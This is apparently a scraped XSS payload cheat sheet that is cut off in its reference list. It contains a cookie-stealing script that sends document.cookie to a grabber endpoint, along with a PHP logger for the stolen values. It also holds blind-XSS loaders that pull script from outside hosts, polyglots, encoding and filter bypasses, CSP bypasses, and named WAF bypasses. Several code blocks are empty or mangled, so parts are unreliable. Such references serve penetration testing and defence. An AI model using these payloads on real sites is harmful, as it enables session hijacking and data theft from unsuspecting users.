</title><script>alert(3)</script>

# Cross Site Scripting Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. - [Exploit code or POC](#exploit-code-or-poc) - [Identify an XSS endpoint](#identify-an-xss-endpoint) - [XSS in HTML/Applications](#xss-in-htmlapplications) - [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri) - [XSS in files (XML/SVG/CSS/Flash/Markdown)](#xss-in-files) - [Blind XSS](#blind-xss) - [Polyglot XSS](#polyglot-xss) - [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads) - [CSP Bypass](#csp-bypass) - [Common WAF Bypass](#common-waf-bypass) ## Exploit code or POC Cookie grabber for XSS ```php document.location='http://localhost/XSS/grabber.php?c='+document.cookie or // Write the cookie in a file $cookie = $_GET['c']; $fp = fopen('cookies.txt', 'a+'); fwrite($fp, 'Cookie:' .$cookie.'\r\n'); fclose($fp); ?> ``` UI redressing (Sophisticated phishing) ```html ``` Keylogger for XSS ```javascript

``` More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all): - [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/) - [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/) - [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html) - [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html) - [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html) - [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html) ## Identify an XSS endpoint ```javascript ``` ## XSS in HTML/Applications XSS Basic ```javascript Basic payload ipt>alert('XSS')ipt> "> "> Img payload

Svg payload // Triggers when a finger touch the screen // Triggers when a finger is removed from touch screen // When a finger is dragged across the screen. ``` XSS using script tag (external payload) ```javascript data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ ``` XSS with vbscript: only IE ```javascript vbscript:msgbox("XSS") ``` ## XSS in files ** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup. ```xml confirm(document.domain)]]> ``` XSS in XML ```xml alert(1) ``` XSS in SVG ```xml ``` XSS in SVG (short) ```javascript ``` XSS in Markdown ```csharp [a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window.onerror=alert;throw%201) ``` XSS in SWF flash application ```powershell Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);} IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1); ``` more payloads in ./files XSS in SWF flash application ``` flashmediaelement.swf?jsinitfunctio%gn=alert`1` flashmediaelement.swf?jsinitfunctio%25gn=alert(1) ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000 swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);// swfupload.swf?buttonText=test

&.swf plupload.flash.swf?%#target%g=alert&uid%g=XSS& moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true video-js.swf?readyFunction=alert(1) player.swf?playerready=alert(document.cookie) player.swf?tracecall=alert(document.cookie) banner.swf?clickTAG=javascript:alert(1);// io.swf?yid=\"));}catch(e){alert(1);}// video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29 bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4 flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}// phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}// ``` XSS in CSS ```html

lol

``` ## Blind XSS ### XSS Hunter Available at [https://xsshunter.com/app](https://xsshunter.com/app) > XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service. ```javascript "> javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)') ``` ### Other tools for Blind XSS - [sleepy-puppy - Netflix](https://github.com/Netflix-Skunkworks/sleepy-puppy) - [bXSS - LewisArdern](https://github.com/LewisArdern/bXSS) - [BlueLotus_XSSReceiver - FiresunCN](https://github.com/firesunCN/BlueLotus_XSSReceiver) - [ezXSS - ssl](https://github.com/ssl/ezXSS) ### Blind XSS endpoint - Contact forms - Ticket support - Referer Header - Custom Site Analytics - Administrative Panel logs ## Polyglot XSS Polyglot XSS - 0xsobky ```javascript jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/

" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> ``` Polyglot XSS - Mathias Karlsson ```javascript " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ``` Polyglot XSS - Rsnake ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` Polyglot XSS - Daniel Miessler ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* ``` Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514) ![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg) ```javascript -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> ``` ![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large) ```javascript <svg%0Ao%00nload=%09((pro\u006dpt))()// ``` Polyglot XSS - from [@filedescriptor's Polyglot Challenge](http://polyglot.innerht.ml) ```javascript # by crlf javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> # by europa javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> # by EdOverflow javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> # by h1/ragnar javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` ``` ## Filter Bypass and exotic payloads Bypass case sensitive ```javascript <sCrIpt>alert(1)</ScRipt> ``` Bypass tag blacklist ```javascript <script x> <script x>alert('XSS')<script y> ``` Bypass word blacklist with code evaluation ```javascript eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; ``` Bypass with incomplete html tag - IE/Firefox/Chrome/Safari ```javascript <img src='1' onerror='alert(0)' < ``` Bypass quotes for string ```javascript String.fromCharCode(88,83,83) ``` Bypass quotes in script tag ```javascript http://localhost/bla.php?test=</script><script>alert(1)</script> <html> <script> <?php echo 'foo="text '.$_GET['test'].'";';`?> </script> </html> ``` Bypass quotes in mousedown event ```javascript <a href="" onmousedown="var name = '';alert(1)//'; alert('smthg')">Link</a> You can bypass a single quote with ' in an on mousedown event handler ``` Bypass dot filter ```javascript <script>window['alert'](document['domain'])</script> ``` Bypass parenthesis for string - Firefox/Opera ```javascript alert`1` setTimeout`alert\u0028document.domain\u0029`; ``` Bypass onxxxx= blacklist ```javascript <object onafterscriptexecute=confirm(0)> <object onbeforescriptexecute=confirm(0)> ``` Bypass onxxx= filter with a null byte/vertical tab - IE/Safari ```javascript <img src='1' onerror\x00=alert(0) /> <img src='1' onerror\x0b=alert(0) /> ``` Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari ```javascript <img src='1' onerror/=alert(0) /> ``` Bypass space filter with "/" - IE/Firefox/Chrome/Safari ```javascript <img/src='1'/onerror=alert(0)> ``` Bypass space filter with 0x0c/^L ```javascript <svgonload=alert(1)> $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd 00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al 00000010: 6572 7428 3129 0c3e 0a ert(1).>. ``` Bypass email filter ([RFC compliant](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate)) ```javascript "><svg/onload=confirm(1)>"@x.y ``` Bypass document blacklist ```javascript <div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script> ``` Bypass using javascript inside a string ```javascript <script> foo="text </script><script>alert(1)</script>"; </script> ``` Bypass using an alternate way to redirect ```javascript location="http://google.com" document.location = "http://google.com" document.location.href="http://google.com" window.location.assign("http://google.com") window['location']['href']="http://google.com" ``` Bypass using an alternate way to execute an alert - [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040) ```javascript window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); ``` Bypass using an alternate way to execute an alert - [@quanyang](https://twitter.com/quanyang/status/1078536601184030721) ```javascript prompt`${document.domain}` document.location='java\tscript:alert(1)' document.location='java\rscript:alert(1)' document.location='java\tscript:alert(1)' ``` Bypass using an alternate way to execute an alert - [@404death](https://twitter.com/404death/status/1011860096685502464) ```javascript eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; constructor.constructor("aler"+"t(3)")(); [].filter.constructor('ale'+'rt(4)')(); top["al"+"ert"](5); top[8680439..toString(30)](7); top[/al/.source+/ert/.source](8); top['al\x65rt'](9); open('java'+'script:ale'+'rt(11)'); location='javascript:ale'+'rt(12)'; setTimeout`alert\u0028document.domain\u0029`; setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; ``` Bypass using an alternate way to trigger an alert ```javascript var i = document.createElement("iframe"); i.onload = function(){ i.contentWindow.alert(1); } document.appendChild(i); // Bypassed security XSSObject.proxy = function (obj, name, report_function_name, exec_original) { var proxy = obj[name]; obj[name] = function () { if (exec_original) { return proxy.apply(this, arguments); } }; XSSObject.lockdown(obj, name); }; XSSObject.proxy(window, 'alert', 'window.alert', false); ``` Bypass ">" using nothing #trololo (you don't need to close your tags) ```javascript <svg onload=alert(1)// ``` Bypass ';' using another character ```javascript 'te' * alert('*') * 'xt'; 'te' / alert('/') / 'xt'; 'te' % alert('%') % 'xt'; 'te' - alert('-') - 'xt'; 'te' + alert('+') + 'xt'; 'te' ^ alert('^') ^ 'xt'; 'te' > alert('>') > 'xt'; 'te' < alert('<') < 'xt'; 'te' == alert('==') == 'xt'; 'te' & alert('&') & 'xt'; 'te' , alert(',') , 'xt'; 'te' | alert('|') | 'xt'; 'te' ? alert('ifelsesh') : 'xt'; 'te' in alert('in') in 'xt'; 'te' instanceof alert('instanceof') instanceof 'xt'; ``` Bypass using HTML encoding ```javascript %26%2397;lert(1) ``` Bypass using [Katakana](https://github.com/aemkei/katakana.js) ```javascript javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() ``` Bypass using ECMAScript6 variation: ``` <script>alert&DiacriticalGrave;1&DiacriticalGrave;</script> ``` Bypass using Octal encoding ```javascript javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' ``` Bypass using Unicode ```javascript Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESSTHAN SIGN (<) Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESSTHAN SIGN (<) Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/ %EF%BC%9E becomes > %EF%BC%9C becomes < ``` Bypass using Unicode converted to uppercase ```javascript İ (%c4%b0).toLowerCase() => i ı (%c4%b1).toUpperCase() => I ſ (%c5%bf) .toUpperCase() => S K (%E2%84%AA).toLowerCase() => k <ſvg onload=... > become <SVG ONLOAD=...> <ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=> ``` Bypass using overlong UTF-8 ```javascript < = %C0%BC = %E0%80%BC = %F0%80%80%BC > = %C0%BE = %E0%80%BE = %F0%80%80%BE ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7 " = %C0%A2 = %E0%80%A2 = %F0%80%80%A2 " = %CA%BA ' = %CA%B9 ``` Bypass using UTF-7 ```javascript +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4- ``` Bypass using UTF-16be ```javascript %00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00 \x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00> ``` Bypass using UTF-32 ```js %00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page ```js BOM Character for UTF-16 Encoding: Big Endian : 0xFE 0xFF Little Endian : 0xFF 0xFE XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E BOM Character for UTF-32 Encoding: Big Endian : 0x00 0x00 0xFE 0xFF Little Endian : 0xFF 0xFE 0x00 0x00 XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` Bypass using weird encoding or native interpretation to hide the payload (alert()) ```javascript <script>\u0061\u006C\u0065\u0072\u0074(1)</script> <img src="1" onerror="alert(1)" /> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script> ``` Exotic payloads ```javascript <svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;// <img src=1 alt=al lang=ert onerror=top[alt+lang](0)> <script>$=1,alert($)</script> <script ~~~>confirm(1)</script ~~~> <script>$=1,\u0061lert($)</script> <</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script> <</script/script><script ~~~>\u0061lert(1)</script ~~~> </style></scRipt><scRipt>alert(1)</scRipt> <img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)> <img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)> <svg><x><script>alert('1'&#41</x> <iframe src=""/srcdoc='<svg onload=alert(1)>'> ``` ## CSP Bypass Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) and the post : [How to use Google’s CSP Evaluator to bypass CSP](https://appio.dev/vulns/google-csp-evaluator/) ### Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27)) //google.com/complete/search?client=chrome&jsonp=alert(1); ```js <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>" ``` More JSONP endpoints available in [/Intruders/jsonp_endpoint.txt](Intruders/jsonp_endpoint.txt) ### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa) Works for CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, [POC here](http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;) ```js script=document.createElement('script'); script.src='//bo0om.ru/csp.js'; window.frames[0].document.head.appendChild(script); ``` ### Bypass CSP by [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f) ```js d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://yoursubdomain.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000) ``` ### Bypass CSP by [@akita_zen](https://twitter.com/akita_zen) Works for CSP like `script-src self` ```js <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> ``` ## Common WAF Bypass ### Cloudflare XSS Bypass - 22nd march 2019 (by @RakeshMane10) ``` <svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f ``` ### Cloudflare XSS Bypass - 27th february 2018 ```html <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;(a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain))">X</a> ``` ### Chrome Auditor - 9th august 2018 ```javascript </script><svg><script>alert(1)-%26apos%3B ``` Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B) ### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th march 2018 ```javascript anythinglr00</script><script>alert(document.domain)</script>uxldz anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz ``` ### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th september 2018 ```javascript <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object> ``` ### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th june 2018 ```javascript ?"></script><base%20c%3D=href%3Dhttps:\mysite> ``` ### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th october 2018 ```html <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> ``` ### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th september 2018 ```javascript <a href=javascript:alert(1)> ``` ## More fun This section will be used for the "fun/interesting/useless" stuff. Use notification box instead of an alert - by [@brutelogic](https://twitter.com/brutelogic) Note : it requires user permission ```javascript Notification.requestPermission(x=>{new(Notification)(1)}) ``` Try here : [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c3=%27;Notification.requestPermission(x=>%7Bnew(Notification)(1)%7D)//) ## References - [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot) - tbm - [(Relative Path Overwrite) RPO XSS - Infinite Security](http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html) - [RPO TheSpanner](http://www.thespanner.co.uk/2014/03/21/rpo/) - [RPO Gadget - innerthmtl](http://blog.innerht.ml/rpo-gadgets/) - [Relative Path Overwrite - Detectify](http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite) - [XSS ghettoBypass - d3adend](http://d3adend.org/xss/ghettoBypass) - [XSS without HTML: Client-Side Template Injection with AngularJS](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html) - [XSSING WEB PART - 2 - Rakesh Mane](http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html) - [Making an XSS triggered by CSP bypass on Twitter. @tbmnull](https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5) - [Ways to alert(document.domain) - @tomnomnom](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309) - [D1T1 - Michele Spagnuolo and Lukas Wilschelbaum - So We Broke All CSPs](https://conference.hitb.org/hitbsecconf2017ams/materials/D1T1%20-%20Michele%20Spagnuolo%20and%20Lukas%20Wilschelbaum%20-%20So%20We%20Broke%20All%20CSPS.pdf) - [Sleeping stored Google XSS Awakens a $5000 Bounty](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by Patrik Fehrenbach - [RPO that lead to information leakage in Google](http://blog.innerht.ml/rpo-gadgets/) by filedescriptor - [God-like XSS, Log-in, Log-out, Log-in](https://whitton.io/articles/uber-turning-self-xss-into-good-xss/) in Uber by Jack Whitton - [Three Stored XSS in 